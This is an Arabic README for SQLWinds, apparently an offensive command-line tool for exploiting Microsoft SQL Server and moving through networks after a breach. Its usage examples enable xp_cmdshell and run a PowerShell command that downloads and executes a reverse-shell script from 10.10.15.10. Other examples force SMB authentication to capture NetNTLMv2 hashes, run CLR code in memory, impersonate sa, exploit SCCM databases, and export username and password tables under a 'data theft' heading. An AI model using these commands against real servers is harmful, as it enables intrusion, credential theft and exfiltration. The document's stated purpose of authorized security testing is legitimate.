
SQLWinds - مجموعة أدوات تقييم أمان SQL Server والاستغلال ما بعد الاختراق
أداة تقييم أمان SQL وأداة ما بعد الاستغلال
SQLWinds هي أداة سطر أوامر لاختبار الأمان واستغلال Microsoft SQL Server. وهي توفر بيئة تفاعلية لتحليل الخوادم بعمق، وتصعيد الصلاحيات، وتنفيذ الهجمات، والتنقل عبر الشبكات باستخدام أوامر متخصصة لمهام مثل تنفيذ الكود في الذاكرة واستكشاف قاعدة بيانات SCCM.
روابط سريعة:
--integrated)، وتفويض Kerberos (--kerberos مع --user/--pass).xp_cmdshell، وإجراءات OLE Automation (sp_oacreate)، وتكامل CLR.:memclr).:unc_smb).xp_regread.يحتوي المستودع على سكربت build.bat للترجمة بسهولة على Windows:
.\build.bat
سيتم وضع الملف التنفيذي SQLWinds.exe المترجم في مجلد bin\Release\.
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# مصادقة SQL
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# مصادقة Windows (سياق المستخدم الحالي)
SQLWinds.exe --server sql01.corp.local --integrated
# تفويض Kerberos (مع توفير بيانات الاعتماد)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# الاتصال وتنفيذ أمر واحد
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
:plain للسكربتات الكبيرةيعد أمر :plain ضروريًا لتنفيذ سكربتات SQL الكبيرة متعددة الأسطر.
sqlwinds> :plain
SQL>
SQL> BEGIN TRY
.....> SELECT * FROM [VeryImportantTable];
.....> EXEC sp_configure 'show advanced options', 1;
.....> RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....> SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
:plain ثم اضغط Enter.:execute لتشغيل السكربت بالكامل أو :cancel للإلغاء.1. التدقيق
SQLWinds.exe --server dc01 --integrated --security-audit
2. الاستفادة من xp_cmdshell لتنفيذ الكود
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# في REPL الذي يُفتح:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"
3. تنفيذ CLR في الذاكرة (بدون ملفات)
# قم بترجمة تجميع .NET إلى DLL (مثل CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"
4. سرقة تجزئات NetNTLMv2 عبر SRelay
# على جهازك: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share
5. استغلال قاعدة بيانات SCCM
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"
6. سرقة البيانات
# تصدير البيانات الحساسة إلى CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv
# تنزيل ملف مخزن في قاعدة البيانات
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx
نرحب بالمساهمات! إذا كانت لديك أفكار للتحسين أو وجدت أي مشكلات:
هذه الأداة مخصصة لاختبارات الأمان المصرح بها والأغراض التعليمية فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها هو أمر غير قانوني. لا يتحمل المطورون أي مسؤولية ولا يتحملون مسؤولية أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
تم التطوير بواسطة blue0x1.
| الخيار | الوصف |
|---|
--server | الخادم الهدف (IP، اسم المضيف، مثيل). مطلوب. |
--user, --pass | بيانات الاعتماد لمصادقة SQL أو Windows. |
--integrated | استخدام رمز Windows الحالي للمصادقة. |
--kerberos | استخدام تدفق مصادقة Kerberos. |
--spn-check | التحقق من AD بحثًا عن SPNs للمضيف الهدف. |
--run-cmd "<SQL>" | تنفيذ أمر SQL واحد ثم الخروج. |
--run-file file.sql | تنفيذ سكربت SQL من ملف ثم الخروج. |
--info | جمع وعرض معلومات موسعة عن الخادم. |
--getinstance | اكتشاف مثيلات SQL في المجال ثم الخروج. |
--list-dbs | سرد قواعد البيانات ثم الخروج. |
--security-audit | إجراء تدقيق أمني ثم الخروج. |
| الأمر | الوصف | مثال |
|---|
:info | عرض معلومات مفصلة عن الخادم | :info |
:dbs | سرد جميع قواعد البيانات مع التفاصيل | :dbs |
:tables [db] [schema] | سرد الجداول في قاعدة بيانات/مخطط | :tables master dbo |
:columns <table> [schema] [db] | سرد الأعمدة لجدول | :columns Users dbo MyDatabase |
:users | سرد جميع عمليات تسجيل دخول SQL ومستخدمي قواعد البيانات | :users |
:perms | عرض صلاحيات المستخدم الحالي | :perms |
:audit | إجراء تدقيق إعدادات الأمان | :audit |
:search [term] | البحث عن بيانات حساسة | :search password |
:secrets | استخراج الأسرار المحتملة | :secrets |
:services | عرض حسابات خدمة SQL Server | :services |
:spn | التحقق من SPNs للمضيف الهدف | :spn |
:enable_xp_cmdshell | تمكين xp_cmdshell | :enable_xp_cmdshell |
:disable_xp_cmdshell | تعطيل xp_cmdshell | :disable_xp_cmdshell |
:xp <command> | تشغيل أمر نظام عبر xp_cmdshell | :xp whoami |
:enable_ole | تمكين OLE Automation | :enable_ole |
:disable_ole | تعطيل OLE Automation | :disable_ole |
:ole_cmd <command> | تشغيل أمر نظام عبر OLE | :ole_cmd "calc.exe" |
:enable_clr | تمكين تكامل CLR | :enable_clr |
:disable_clr | تعطيل تكامل CLR | :disable_clr |
:deploy-clr <path> | نشر تجميع CLR من ملف | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | سرد تجميعات CLR المنشورة | :list-assemblies |
:clr_exec | تنفيذ أسلوب CLR | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | تنفيذ تجميع CLR من الذاكرة | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | إزالة تجميع CLR | :remove-assembly MyAssembly |
:list_linkservers | سرد الخوادم المرتبطة | :list_linkservers |
:linkrpc <srv> <cmd> | تنفيذ أمر عبر خادم مرتبط | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | انتحال صفة تسجيل دخول SQL | :impersonate sa |
:revert | التراجع عن سياق الأمان | :revert |
:agent_job | إدارة وظائف SQL Agent | :agent_job create MyJob "whoami" |
:ls [path] | سرد مجلد عبر SQL | :ls C:\Windows\Temp |
:unc_smb <path> | فرض مصادقة SMB إلى UNC | :unc_smb \\192.168.1.100\share |
:plain | لصق سكربتات SQL كبيرة | (انظر المثال أدناه) |
:regread | قراءة قيمة سجل | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | سرد جميع القيم في مفتاح | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | رفع ملف إلى جدول | :upload C:\file.txt MyTable |
:download | تنزيل بيانات ثنائية من استعلام | :download "SELECT file FROM blobs" out.bin |
:exportcsv | تصدير استعلام إلى CSV | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | تصدير استعلام إلى JSON | :exportjson "SELECT * FROM users" out.json |
:sccm_info | اكتشاف قاعدة بيانات SCCM | :sccm_info |
:sccm_inventory | عرض جرد SCCM | :sccm_inventory |
:sccm_collections | سرد مجموعات SCCM | :sccm_collections "All Systems" |
:sccm_deployments | عرض النشرات | :sccm_deployments |
:sccm_clients | سرد العملاء | :sccm_clients inactive |
:sccm_audit | تدقيق أمان SCCM | :sccm_audit |
:sccm_application | عرض تفاصيل التطبيق | :sccm_application "Google Chrome" |
help | عرض المساعدة | help |
exit | الخروج من REPL | exit |